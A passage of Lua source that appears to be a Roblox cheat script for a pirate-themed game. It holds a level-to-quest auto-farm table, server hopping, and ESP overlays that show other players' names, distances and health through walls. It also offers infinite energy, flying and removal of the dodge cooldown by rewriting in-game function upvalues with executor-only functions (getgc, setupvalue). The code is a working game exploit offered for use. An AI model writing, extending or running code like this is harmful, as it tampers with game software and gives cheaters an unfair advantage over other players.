                    game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("requestEntrance",Vector3.new(923.21252441406, 126.9760055542, 32852.83203125))
                end
            elseif MyLevel == 1350 or MyLevel <= 1374 then
                Mon = "Arctic Warrior [Lv. 1350]"
                LevelQuest = 1
                NameQuest = "FrostQuest"
                NameMon = "Arctic Warrior"
                CFrameQuest = CFrame.new(5667.6582, 26.7997818, -6486.08984, -0.933587909, 0, -0.358349502, 0, 1, 0, 0.358349502, 0, -0.933587909)
                if _G.AutoFarm and (CFrameQuest.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude > 10000 then
                    game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("requestEntrance",Vector3.new(-6508.5581054688, 5000.034996032715, -132.83953857422))
                end
            elseif MyLevel == 1375 or MyLevel <= 1424 then
                Mon = "Snow Lurker [Lv. 1375]"
                LevelQuest = 2
                NameQuest = "FrostQuest"
                NameMon = "Snow Lurker"
                CFrameQuest = CFrame.new(5667.6582, 26.7997818, -6486.08984, -0.933587909, 0, -0.358349502, 0, 1, 0, 0.358349502, 0, -0.933587909)
            elseif MyLevel == 1425 or MyLevel <= 1449 then
                Mon = "Sea Soldier [Lv. 1425]"
                LevelQuest = 1
                NameQuest = "ForgottenQuest"
                NameMon = "Sea Soldier"
                CFrameQuest = CFrame.new(-3054.44458, 235.544281, -10142.8193, 0.990270376, -0, -0.13915664, 0, 1, -0, 0.13915664, 0, 0.990270376)
            elseif MyLevel >= 1450 then
                Mon = "Water Fighter [Lv. 1450]"
                LevelQuest = 2
                NameQuest = "ForgottenQuest"
                NameMon = "Water Fighter"
                CFrameQuest = CFrame.new(-3054.44458, 235.544281, -10142.8193, 0.990270376, -0, -0.13915664, 0, 1, -0, 0.13915664, 0, 0.990270376)
            end
        elseif World3 then
            if MyLevel == 1500 or MyLevel <= 1524 then
                Mon = "Pirate Millionaire [Lv. 1500]"
                LevelQuest = 1
                NameQuest = "PiratePortQuest"
                NameMon = "Pirate Millionaire"
                CFrameQuest = CFrame.new(-290.074677, 42.9034653, 5581.58984, 0.965929627, -0, -0.258804798, 0, 1, -0, 0.258804798, 0, 0.965929627)
            elseif MyLevel == 1525 or MyLevel <= 1574 then
                Mon = "Pistol Billionaire [Lv. 1525]"
                LevelQuest = 2
                NameQuest = "PiratePortQuest"
                NameMon = "Pistol Billionaire"
                CFrameQuest = CFrame.new(-290.074677, 42.9034653, 5581.58984, 0.965929627, -0, -0.258804798, 0, 1, -0, 0.258804798, 0, 0.965929627)
            elseif MyLevel == 1575 or MyLevel <= 1599 then
                Mon = "Dragon Crew Warrior [Lv. 1575]"
                LevelQuest = 1
                NameQuest = "AmazonQuest"
                NameMon = "Dragon Crew Warrior"
                CFrameQuest = CFrame.new(5832.83594, 51.6806107, -1101.51563, 0.898790359, -0, -0.438378751, 0, 1, -0, 0.438378751, 0, 0.898790359)
            elseif MyLevel == 1600 or MyLevel <= 1624 then 
                Mon = "Dragon Crew Archer [Lv. 1600]"
                NameQuest = "AmazonQuest"
                LevelQuest = 2
                NameMon = "Dragon Crew Archer"
                CFrameQuest = CFrame.new(5833.1147460938, 51.60498046875, -1103.0693359375)
            elseif MyLevel == 1625 or MyLevel <= 1649 then
                Mon = "Female Islander [Lv. 1625]"
                NameQuest = "AmazonQuest2"
                LevelQuest = 1
                NameMon = "Female Islander"
                CFrameQuest = CFrame.new(5446.8793945313, 601.62945556641, 749.45672607422)
            elseif MyLevel == 1650 or MyLevel <= 1699 then 
                Mon = "Giant Islander [Lv. 1650]"
                NameQuest = "AmazonQuest2"
                LevelQuest = 2
                NameMon = "Giant Islander"
                CFrameQuest = CFrame.new(5446.8793945313, 601.62945556641, 749.45672607422)
            elseif MyLevel == 1700 or MyLevel <= 1724 then
                Mon = "Marine Commodore [Lv. 1700]"
                LevelQuest = 1
                NameQuest = "MarineTreeIsland"
                NameMon = "Marine Commodore"
                CFrameQuest = CFrame.new(2180.54126, 27.8156815, -6741.5498, -0.965929747, 0, 0.258804798, 0, 1, 0, -0.258804798, 0, -0.965929747)
            elseif MyLevel == 1725 or MyLevel <= 1774 then
                Mon = "Marine Rear Admiral [Lv. 1725]"
                NameMon = "Marine Rear Admiral"
                NameQuest = "MarineTreeIsland"
                LevelQuest = 2
                CFrameQuest = CFrame.new(2179.98828125, 28.731239318848, -6740.0551757813)
            elseif MyLevel == 1775 or MyLevel <= 1799 then
                Mon = "Fishman Raider [Lv. 1775]"
                LevelQuest = 1
                NameQuest = "DeepForestIsland3"
                NameMon = "Fishman Raider"
                CFrameQuest = CFrame.new(-10581.6563, 330.872955, -8761.18652, -0.882952213, 0, 0.469463557, 0, 1, 0, -0.469463557, 0, -0.882952213)   
            elseif MyLevel == 1800 or MyLevel <= 1824 then
                Mon = "Fishman Captain [Lv. 1800]"
                LevelQuest = 2
                NameQuest = "DeepForestIsland3"
                NameMon = "Fishman Captain"
                CFrameQuest = CFrame.new(-10581.6563, 330.872955, -8761.18652, -0.882952213, 0, 0.469463557, 0, 1, 0, -0.469463557, 0, -0.882952213)   
            elseif MyLevel == 1825 or MyLevel <= 1849 then
                Mon = "Forest Pirate [Lv. 1825]"
                LevelQuest = 1
                NameQuest = "DeepForestIsland"
                NameMon = "Forest Pirate"
                CFrameQuest = CFrame.new(-13234.04, 331.488495, -7625.40137, 0.707134247, -0, -0.707079291, 0, 1, -0, 0.707079291, 0, 0.707134247)
            elseif MyLevel == 1850 or MyLevel <= 1899 then
                Mon = "Mythological Pirate [Lv. 1850]"
                LevelQuest = 2
                NameQuest = "DeepForestIsland"
                NameMon = "Mythological Pirate"
                CFrameQuest = CFrame.new(-13234.04, 331.488495, -7625.40137, 0.707134247, -0, -0.707079291, 0, 1, -0, 0.707079291, 0, 0.707134247)   
            elseif MyLevel == 1900 or MyLevel <= 1924 then
                Mon = "Jungle Pirate [Lv. 1900]"
                LevelQuest = 1
                NameQuest = "DeepForestIsland2"
                NameMon = "Jungle Pirate"
                CFrameQuest = CFrame.new(-12680.3818, 389.971039, -9902.01953, -0.0871315002, 0, 0.996196866, 0, 1, 0, -0.996196866, 0, -0.0871315002)
            elseif MyLevel == 1925 or MyLevel <= 1974 then
                Mon = "Musketeer Pirate [Lv. 1925]"
                LevelQuest = 2
                NameQuest = "DeepForestIsland2"
                NameMon = "Musketeer Pirate"
                CFrameQuest = CFrame.new(-12680.3818, 389.971039, -9902.01953, -0.0871315002, 0, 0.996196866, 0, 1, 0, -0.996196866, 0, -0.0871315002)
            elseif MyLevel == 1975 or MyLevel <= 1999 then
                Mon = "Reborn Skeleton [Lv. 1975]"
                LevelQuest = 1
                NameQuest = "HauntedQuest1"
                NameMon = "Reborn Skeleton"
                CFrameQuest = CFrame.new(-9479.2168, 141.215088, 5566.09277, 0, 0, 1, 0, 1, -0, -1, 0, 0)
            elseif MyLevel == 2000 or MyLevel <= 2024 then
                Mon = "Living Zombie [Lv. 2000]"
                LevelQuest = 2
                NameQuest = "HauntedQuest1"
                NameMon = "Living Zombie"
                CFrameQuest = CFrame.new(-9479.2168, 141.215088, 5566.09277, 0, 0, 1, 0, 1, -0, -1, 0, 0)
            elseif MyLevel == 2025 or MyLevel <= 2049 then
                Mon = "Demonic Soul [Lv. 2025]"
                LevelQuest = 1
                NameQuest = "HauntedQuest2"
                NameMon = "Demonic Soul"
                CFrameQuest = CFrame.new(-9516.99316, 172.017181, 6078.46533, 0, 0, -1, 0, 1, 0, 1, 0, 0) 
            elseif MyLevel == 2050 or MyLevel <= 2074 then
                Mon = "Posessed Mummy [Lv. 2050]"
                LevelQuest = 2
                NameQuest = "HauntedQuest2"
                NameMon = "Posessed Mummy"
                CFrameQuest = CFrame.new(-9516.99316, 172.017181, 6078.46533, 0, 0, -1, 0, 1, 0, 1, 0, 0)
            elseif MyLevel == 2075 or MyLevel <= 2099 then
                Mon = "Peanut Scout [Lv. 2075]"
                LevelQuest = 1
                NameQuest = "NutsIslandQuest"
                NameMon = "Peanut Scout"
                CFrameQuest = CFrame.new(-2104.3908691406, 38.104167938232, -10194.21875, 0, 0, -1, 0, 1, 0, 1, 0, 0)
            elseif MyLevel == 2100 or MyLevel <= 2124 then
                Mon = "Peanut President [Lv. 2100]"
                LevelQuest = 2
                NameQuest = "NutsIslandQuest"
                NameMon = "Peanut President"
                CFrameQuest = CFrame.new(-2104.3908691406, 38.104167938232, -10194.21875, 0, 0, -1, 0, 1, 0, 1, 0, 0)
            elseif MyLevel == 2125 or MyLevel <= 2149 then
                Mon = "Ice Cream Chef [Lv. 2125]"
                LevelQuest = 1
                NameQuest = "IceCreamIslandQuest"
                NameMon = "Ice Cream Chef"
                CFrameQuest = CFrame.new(-820.64825439453, 65.819526672363, -10965.795898438, 0, 0, -1, 0, 1, 0, 1, 0, 0)
            elseif MyLevel == 2150 or MyLevel <= 2199 then
                Mon = "Ice Cream Commander [Lv. 2150]"
                LevelQuest = 2
                NameQuest = "IceCreamIslandQuest"
                NameMon = "Ice Cream Commander"
                CFrameQuest = CFrame.new(-820.64825439453, 65.819526672363, -10965.795898438, 0, 0, -1, 0, 1, 0, 1, 0, 0)
            elseif MyLevel == 2200 or MyLevel <= 2224 then
                Mon = "Cookie Crafter [Lv. 2200]"
                LevelQuest = 1
                NameQuest = "CakeQuest1"
                NameMon = "Cookie Crafter"
                CFrameQuest = CFrame.new(-2021.32007, 37.7982254, -12028.7295, 0.957576931, -8.80302053e-08, 0.288177818, 6.9301187e-08, 1, 7.51931211e-08, -0.288177818, -5.2032135e-08, 0.957576931)
            elseif MyLevel == 2225 or MyLevel <= 2249 then
                Mon = "Cake Guard [Lv. 2225]"
                LevelQuest = 2
                NameQuest = "CakeQuest1"
                NameMon = "Cake Guard"
                CFrameQuest = CFrame.new(-2021.32007, 37.7982254, -12028.7295, 0.957576931, -8.80302053e-08, 0.288177818, 6.9301187e-08, 1, 7.51931211e-08, -0.288177818, -5.2032135e-08, 0.957576931)
            elseif MyLevel == 2250 or MyLevel <= 2274 then
                Mon = "Baking Staff [Lv. 2250]"
                LevelQuest = 1
                NameQuest = "CakeQuest2"
                NameMon = "Baking Staff"
                CFrameQuest = CFrame.new(-1927.91602, 37.7981339, -12842.5391, -0.96804446, 4.22142143e-08, 0.250778586, 4.74911062e-08, 1, 1.49904711e-08, -0.250778586, 2.64211941e-08, -0.96804446)
            elseif MyLevel == 2275 or MyLevel <= 2299 then
                Mon = "Head Baker [Lv. 2275]"
                LevelQuest = 2
                NameQuest = "CakeQuest2"
                NameMon = "Head Baker"
                CFrameQuest = CFrame.new(-1927.91602, 37.7981339, -12842.5391, -0.96804446, 4.22142143e-08, 0.250778586, 4.74911062e-08, 1, 1.49904711e-08, -0.250778586, 2.64211941e-08, -0.96804446)
			    elseif MyLevel == 2300 or MyLevel <= 2324  then
                Mon = "Cocoa Warrior [Lv. 2300]"
                LevelQuest = 1
                NameQuest = "ChocQuest1"
                NameMon = "Cocoa Warrior"
                CFrameQuest = CFrame.new(231.75, 23.9003029, -12200.292, -1, 0, 0, 0, 1, 0, 0, 0, -1)
            elseif MyLevel == 2324 or MyLevel <= 2349  then
                Mon = "Chocolate Bar Battler [Lv. 2325]"
                LevelQuest = 2
                NameQuest = "ChocQuest1"
                NameMon = "Chocolate Bar Battler"
				CFrameQuest = CFrame.new(231.75, 23.9003029, -12200.292, -1, 0, 0, 0, 1, 0, 0, 0, -1)
				    elseif MyLevel == 2350 or MyLevel <= 2374  then
                Mon = "Sweet Thief [Lv. 2350]"
                LevelQuest = 1
                NameQuest = "ChocQuest2"
                NameMon = "Sweet Thief"
                CFrameQuest = CFrame.new(151.198242, 23.8907146, -12774.6172, 0.422592998, 0, 0.906319618, 0, 1, 0, -0.906319618, 0, 0.422592998)
              elseif MyLevel >= 2375 then
                Mon = "Candy Rebel [Lv. 2375]"
                LevelQuest = 2
                NameQuest = "ChocQuest2"
                NameMon = "Candy Rebel"
                CFrameQuest = CFrame.new(151.198242, 23.8907146, -12774.6172, 0.422592998, 0, 0.906319618, 0, 1, 0, -0.906319618, 0, 0.422592998)
			end
        end
    end

    function Hop()
        local PlaceID = game.PlaceId
        local AllIDs = {}
        local foundAnything = ""
        local actualHour = os.date("!*t").hour
        local Deleted = false
        function TPReturner()
            local Site;
            if foundAnything == "" then
                Site = game.HttpService:JSONDecode(game:HttpGet('https://games.roblox.com/v1/games/' .. PlaceID .. '/servers/Public?sortOrder=Asc&limit=100'))
            else
                Site = game.HttpService:JSONDecode(game:HttpGet('https://games.roblox.com/v1/games/' .. PlaceID .. '/servers/Public?sortOrder=Asc&limit=100&cursor=' .. foundAnything))
            end
            local ID = ""
            if Site.nextPageCursor and Site.nextPageCursor ~= "null" and Site.nextPageCursor ~= nil then
                foundAnything = Site.nextPageCursor
            end
            local num = 0;
            for i,v in pairs(Site.data) do
                local Possible = true
                ID = tostring(v.id)
                if tonumber(v.maxPlayers) > tonumber(v.playing) then
                    for _,Existing in pairs(AllIDs) do
                        if num ~= 0 then
                            if ID == tostring(Existing) then
                                Possible = false
                            end
                        else
                            if tonumber(actualHour) ~= tonumber(Existing) then
                                local delFile = pcall(function()
                                    AllIDs = {}
                                    table.insert(AllIDs, actualHour)
                                end)
                            end
                        end
                        num = num + 1
                    end
                    if Possible == true then
                        table.insert(AllIDs, ID)
                        wait()
                        pcall(function()
                            wait()
                            game:GetService("TeleportService"):TeleportToPlaceInstance(PlaceID, ID, game.Players.LocalPlayer)
                        end)
                        wait(4)
                    end
                end
            end
        end
        function Teleport() 
            while wait() do
                pcall(function()
                    TPReturner()
                    if foundAnything ~= "" then
                        TPReturner()
                    end
                end)
            end
        end
        Teleport()
    end                   
    
	function isnil(thing)
		return (thing == nil)
	end
	local function round(n)
		return math.floor(tonumber(n) + 0.5)
	end
	Number = math.random(1, 1000000)
	function UpdateEspPlayer()
		for i,v in pairs(game:GetService'Players':GetChildren()) do
			pcall(function()
				if not isnil(v.Character) then
					if ESPPlayer then
						if not isnil(v.Character.Head) and not v.Character.Head:FindFirstChild('NameEsp'..Number) then
							local bill = Instance.new('BillboardGui',v.Character.Head)
							bill.Name = 'NameEsp'..Number
							bill.ExtentsOffset = Vector3.new(0, 1, 0)
							bill.Size = UDim2.new(1,200,1,30)
							bill.Adornee = v.Character.Head
							bill.AlwaysOnTop = true
							local name = Instance.new('TextLabel',bill)
							name.Font = "GothamBold"
							name.FontSize = "Size14"
							name.TextWrapped = true
							name.Text = (v.Name ..' \n'.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Character.Head.Position).Magnitude/3) ..' M')
							name.Size = UDim2.new(1,0,1,0)
							name.TextYAlignment = 'Top'
							name.BackgroundTransparency = 1
							name.TextStrokeTransparency = 0.5
							if v.Team == game.Players.LocalPlayer.Team then
								name.TextColor3 = Color3.new(0,255,0)
							else
								name.TextColor3 = Color3.new(255,0,0)
							end
						else
							v.Character.Head['NameEsp'..Number].TextLabel.Text = (v.Name ..' | '.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Character.Head.Position).Magnitude/3) ..' M\nHealth : ' .. round(v.Character.Humanoid.Health*100/v.Character.Humanoid.MaxHealth) .. '%')
						end
					else
						if v.Character.Head:FindFirstChild('NameEsp'..Number) then
							v.Character.Head:FindFirstChild('NameEsp'..Number):Destroy()
						end
					end
				end
			end)
		end
	end
    
    function UpdateIslandESP() 
        for i,v in pairs(game:GetService("Workspace")["_WorldOrigin"].Locations:GetChildren()) do
            pcall(function()
                if IslandESP then 
                    if v.Name ~= "Sea" then
                        if not v:FindFirstChild('NameEsp') then
                            local bill = Instance.new('BillboardGui',v)
                            bill.Name = 'NameEsp'
                            bill.ExtentsOffset = Vector3.new(0, 1, 0)
                            bill.Size = UDim2.new(1,200,1,30)
                            bill.Adornee = v
                            bill.AlwaysOnTop = true
                            local name = Instance.new('TextLabel',bill)
                            name.Font = "GothamBold"
                            name.FontSize = "Size14"
                            name.TextWrapped = true
                            name.Size = UDim2.new(1,0,1,0)
                            name.TextYAlignment = 'Top'
                            name.BackgroundTransparency = 1
                            name.TextStrokeTransparency = 0.5
                            name.TextColor3 = Color3.fromRGB(80, 245, 245)
                        else
                            v['NameEsp'].TextLabel.Text = (v.Name ..'   \n'.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Position).Magnitude/3) ..' M')
                        end
                    end
                else
                    if v:FindFirstChild('NameEsp') then
                        v:FindFirstChild('NameEsp'):Destroy()
                    end
                end
            end)
        end
    end
    
    function UpdateChestEsp() 
        for i,v in pairs(game:GetService("Workspace"):GetChildren()) do
            pcall(function()
                if string.find(v.Name,"Chest") then
                    if ChestESP then
                        if string.find(v.Name,"Chest") then
                            if not v:FindFirstChild('NameEsp'..Number) then
                                local bill = Instance.new('BillboardGui',v)
                                bill.Name = 'NameEsp'..Number
                                bill.ExtentsOffset = Vector3.new(0, 1, 0)
                                bill.Size = UDim2.new(1,200,1,30)
                                bill.Adornee = v
                                bill.AlwaysOnTop = true
                                local name = Instance.new('TextLabel',bill)
                                name.Font = "GothamBold"
                                name.FontSize = "Size14"
                                name.TextWrapped = true
                                name.Size = UDim2.new(1,0,1,0)
                                name.TextYAlignment = 'Top'
                                name.BackgroundTransparency = 1
                                name.TextStrokeTransparency = 0.5
                                name.TextColor3 = Color3.fromRGB(0, 255, 250)
                            if v.Name == "Chest1" then
                                name.Text = ("Chest 1" ..' \n'.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Position).Magnitude/3) ..' M')
                            end
                            if v.Name == "Chest2" then
                                name.Text = ("Chest 2" ..' \n'.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Position).Magnitude/3) ..' M')
                            end
                        if v.Name == "Chest3" then
                            name.Text = ("Chest 3" ..' \n'.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Position).Magnitude/3) ..' M')
                        end
                        else
                            v['NameEsp'..Number].TextLabel.Text = (v.Name ..'   \n'.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Position).Magnitude/3) ..' M')
                        end
                    end
                else
                    if v:FindFirstChild('NameEsp'..Number) then
                    v:FindFirstChild('NameEsp'..Number):Destroy()
                    end
                end
                end
            end)
        end
    end
    
    function UpdateBfEsp() 
        for i,v in pairs(game:GetService("Workspace"):GetChildren()) do
            pcall(function()
                if DevilFruitESP then
                    if string.find(v.Name, "Fruit") then   
                        if not v.Handle:FindFirstChild('NameEsp'..Number) then
                            local bill = Instance.new('BillboardGui',v.Handle)
                            bill.Name = 'NameEsp'..Number
                            bill.ExtentsOffset = Vector3.new(0, 1, 0)
                            bill.Size = UDim2.new(1,200,1,30)
                            bill.Adornee = v.Handle
                            bill.AlwaysOnTop = true
                            local name = Instance.new('TextLabel',bill)
                            name.Font = "GothamBold"
                            name.FontSize = "Size14"
                            name.TextWrapped = true
                            name.Size = UDim2.new(1,0,1,0)
                            name.TextYAlignment = 'Top'
                            name.BackgroundTransparency = 1
                            name.TextStrokeTransparency = 0.5
                            name.TextColor3 = Color3.fromRGB(255, 0, 0)
                            name.Text = (v.Name ..' \n'.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Handle.Position).Magnitude/3) ..' M')
                        else
                            v.Handle['NameEsp'..Number].TextLabel.Text = (v.Name ..'   \n'.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Handle.Position).Magnitude/3) ..' M')
                        end
                    end
                else
                    if v.Handle:FindFirstChild('NameEsp'..Number) then
                        v.Handle:FindFirstChild('NameEsp'..Number):Destroy()
                        end
                end
            end)
        end
    end
    
    function UpdateFlowerEsp() 
        for i,v in pairs(game:GetService("Workspace"):GetChildren()) do
            pcall(function()
                if v.Name == "Flower2" or v.Name == "Flower1" then
                    if FlowerESP then 
                        if not v:FindFirstChild('NameEsp'..Number) then
                            local bill = Instance.new('BillboardGui',v)
                            bill.Name = 'NameEsp'..Number
                            bill.ExtentsOffset = Vector3.new(0, 1, 0)
                            bill.Size = UDim2.new(1,200,1,30)
                            bill.Adornee = v
                            bill.AlwaysOnTop = true
                            local name = Instance.new('TextLabel',bill)
                            name.Font = "GothamBold"
                            name.FontSize = "Size14"
                            name.TextWrapped = true
                            name.Size = UDim2.new(1,0,1,0)
                            name.TextYAlignment = 'Top'
                            name.BackgroundTransparency = 1
                            name.TextStrokeTransparency = 0.5
                            name.TextColor3 = Color3.fromRGB(255, 0, 0)
                        if v.Name == "Flower1" then 
                            name.Text = ("Blue Flower" ..' \n'.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Position).Magnitude/3) ..' M')
                            name.TextColor3 = Color3.fromRGB(255, 0, 0)
                        end
                        if v.Name == "Flower2" then
                            name.Text = ("Red Flower" ..' \n'.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Position).Magnitude/3) ..' M')
                            name.TextColor3 = Color3.fromRGB(255, 0, 0)
                        end
                    else
                        v['NameEsp'..Number].TextLabel.Text = (v.Name ..'   \n'.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Position).Magnitude/3) ..' M')
                    end
                    else
                        if v:FindFirstChild('NameEsp'..Number) then
                            v:FindFirstChild('NameEsp'..Number):Destroy()
                        end
                    end
                end   
            end)
        end
    end
    
    function InfAb()
        if InfAbility then
            if not game:GetService("Players").LocalPlayer.Character.HumanoidRootPart:FindFirstChild("Agility") then
                local inf = Instance.new("ParticleEmitter")
                inf.Acceleration = Vector3.new(0,0,0)
                inf.Archivable = true
                inf.Drag = 20
                inf.EmissionDirection = Enum.NormalId.Top
                inf.Enabled = true
                inf.Lifetime = NumberRange.new(0,0)
                inf.LightInfluence = 0
                inf.LockedToPart = true
                inf.Name = "Agility"
                inf.Rate = 500
                local numberKeypoints2 = {
                    NumberSequenceKeypoint.new(0, 0);
                    NumberSequenceKeypoint.new(1, 4); 
                }
                inf.Size = NumberSequence.new(numberKeypoints2)
                inf.RotSpeed = NumberRange.new(9999, 99999)
                inf.Rotation = NumberRange.new(0, 0)
                inf.Speed = NumberRange.new(30, 30)
                inf.SpreadAngle = Vector2.new(0,0,0,0)
                inf.Texture = ""
                inf.VelocityInheritance = 0
                inf.ZOffset = 2
                inf.Transparency = NumberSequence.new(0)
                inf.Color = ColorSequence.new(Color3.fromRGB(0,0,0),Color3.fromRGB(0,0,0))
                inf.Parent = game:GetService("Players").LocalPlayer.Character.HumanoidRootPart
            end
        else
            if game:GetService("Players").LocalPlayer.Character.HumanoidRootPart:FindFirstChild("Agility") then
                game:GetService("Players").LocalPlayer.Character.HumanoidRootPart:FindFirstChild("Agility"):Destroy()
            end
        end
    end
    
    local LocalPlayer = game:GetService'Players'.LocalPlayer
    local originalstam = LocalPlayer.Character.Energy.Value
    function infinitestam()
        LocalPlayer.Character.Energy.Changed:connect(function()
            if InfiniteEnergy then
                LocalPlayer.Character.Energy.Value = originalstam
            end 
        end)
    end
    
    spawn(function()
        pcall(function()
            while wait(.1) do
                if InfiniteEnergy then
                    wait(0.1)
                    originalstam = LocalPlayer.Character.Energy.Value
                    infinitestam()
                end
            end
        end)
    end)
    
    function NoDodgeCool()
        if nododgecool then
            for i,v in next, getgc() do
                if game:GetService("Players").LocalPlayer.Character.Dodge then
                    if typeof(v) == "function" and getfenv(v).script == game:GetService("Players").LocalPlayer.Character.Dodge then
                        for i2,v2 in next, getupvalues(v) do
                            if tostring(v2) == "0.1" then
                            repeat wait(.1)
                                setupvalue(v,i2,0)
                            until not nododgecool
                            end
                        end
                    end
                end
            end
        end
    end
    
    function fly()
        local mouse=game:GetService("Players").LocalPlayer:GetMouse''
        localplayer=game:GetService("Players").LocalPlayer
        game:GetService("Players").LocalPlayer.Character:WaitForChild("HumanoidRootPart")
        local torso = game:GetService("Players").LocalPlayer.Character.HumanoidRootPart
        local speedSET=25
        local keys={a=false,d=false,w=false,s=false}
        local e1
        local e2
        local function start()
            local pos = Instance.new("BodyPosition",torso)
            local gyro = Instance.new("BodyGyro",torso)
            pos.Name="EPIXPOS"
            pos.maxForce = Vector3.new(math.huge, math.huge, math.huge)
            pos.position = torso.Position
            gyro.maxTorque = Vector3.new(9e9, 9e9, 9e9)
            gyro.CFrame = torso.CFrame
            repeat
                    wait()
                    localplayer.Character.Humanoid.PlatformStand=true
                    local new=gyro.CFrame - gyro.CFrame.p + pos.position
                    if not keys.w and not keys.s and not keys.a and not keys.d then
                    speed=1
                    end
                    if keys.w then
                    new = new + workspace.CurrentCamera.CoordinateFrame.lookVector * speed
                    speed=speed+speedSET
                    end
                    if keys.s then
                    new = new - workspace.CurrentCamera.CoordinateFrame.lookVector * speed
                    speed=speed+speedSET
                    end
                    if keys.d then
                    new = new * CFrame.new(speed,0,0)
                    speed=speed+speedSET
                    end
                    if keys.a then
                    new = new * CFrame.new(-speed,0,0)
                    speed=speed+speedSET
                    end
                    if speed>speedSET then
                    speed=speedSET
                    end
                    pos.position=new.p
                    if keys.w then
                    gyro.CFrame = workspace.CurrentCamera.CoordinateFrame*CFrame.Angles(-math.rad(speed*15),0,0)
                    elseif keys.s then
                    gyro.CFrame = workspace.CurrentCamera.CoordinateFrame*CFrame.Angles(math.rad(speed*15),0,0)
                    else
                    gyro.CFrame = workspace.CurrentCamera.CoordinateFrame
                    end
            until not Fly
            if gyro then 
                    gyro:Destroy() 
            end
            if pos then 
                    pos:Destroy() 
            end
            flying=false
            localplayer.Character.Humanoid.PlatformStand=false
            speed=0
        end
        e1=mouse.KeyDown:connect(function(key)
            if not torso or not torso.Parent then 
                    flying=false e1:disconnect() e2:disconnect() return 
            end
            if key=="w" then
                keys.w=true
            elseif key=="s" then
                keys.s=true
            elseif key=="a" then
                keys.a=true
            elseif key=="d" then
                keys.d=true
            end
        end)
        e2=mouse.KeyUp:connect(function(key)
            if key=="w" then
                keys.w=false
            elseif key=="s" then
                keys.s=false
            elseif key=="a" then
                keys.a=false
            elseif key=="d" then
                keys.d=false
            end
        end)
        start()
    end
    
    function Click()
        game:GetService'VirtualUser':CaptureController()
        game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))
    end
    
    function AutoHaki()
        if not game:GetService("Players").LocalPlayer.Character:FindFirstChild("HasBuso") then
            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("Buso")
        end
    end
    
    function UnEquipWeapon(Weapon)
        if game.Players.LocalPlayer.Character:FindFirstChild(Weapon) then
            _G.NotAutoEquip = true
            wait(.5)
            game.Players.LocalPlayer.Character:FindFirstChild(Weapon).Parent = game.Players.LocalPlayer.Backpack
            wait(.1)
            _G.NotAutoEquip = false
        end
    end
    
    function EquipWeapon(ToolSe)
        if not _G.NotAutoEquip then
            if game.Players.LocalPlayer.Backpack:FindFirstChild(ToolSe) then
                Tool = game.Players.LocalPlayer.Backpack:FindFirstChild(ToolSe)
                wait(.1)
                game.Players.LocalPlayer.Character.Humanoid:EquipTool(Tool)
            end
        end
    end
    
    function topos(Pos)
        Distance = (Pos.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude
        if game.Players.LocalPlayer.Character.Humanoid.Sit == true then game.Players.LocalPlayer.Character.Humanoid.Sit = false end
        pcall(function() tween = game:GetService("TweenService"):Create(game.Players.LocalPlayer.Character.HumanoidRootPart,TweenInfo.new(Distance/210, Enum.EasingStyle.Linear),{CFrame = Pos}) end)
        tween:Play()
        if Distance <= 250 then
            tween:Cancel()
            game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = Pos
        end
        if _G.StopTween == true then
            tween:Cancel()
            _G.Clip = false
        end
    end
    
    function GetDistance(target)
        return math.floor((target.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude)
    end
    
    function TP1(Pos)
    Distance = (Pos.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude
    if Distance < 1200 then
        Speed = 300
    elseif Distance < 1000 then
        Speed = 300
    elseif Distance < 2600 then
        Speed = 300
    elseif Distance >= 1000 then
        Speed = 300
    end
    game:GetService("TweenService"):Create(
        game.Players.LocalPlayer.Character.HumanoidRootPart,
        TweenInfo.new(Distance/Speed, Enum.EasingStyle.Linear),
        {CFrame = Pos}
    ):Play()
end
    
    function TP(Pos)
        Distance = (Pos.Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude
        if Distance < 1000 then
            Speed = 300
        elseif Distance >= 1000 then
            Speed = 300
        end
        game:GetService("TweenService"):Create(
            game:GetService("Players").LocalPlayer.Character.HumanoidRootPart,
            TweenInfo.new(Distance/Speed, Enum.EasingStyle.Linear),
            {CFrame = Pos}
        ):Play()
        _G.Clip = true
        wait(Distance/Speed)
        _G.Clip = false
    end
    
    spawn(function()
        pcall(function()
            while wait() do
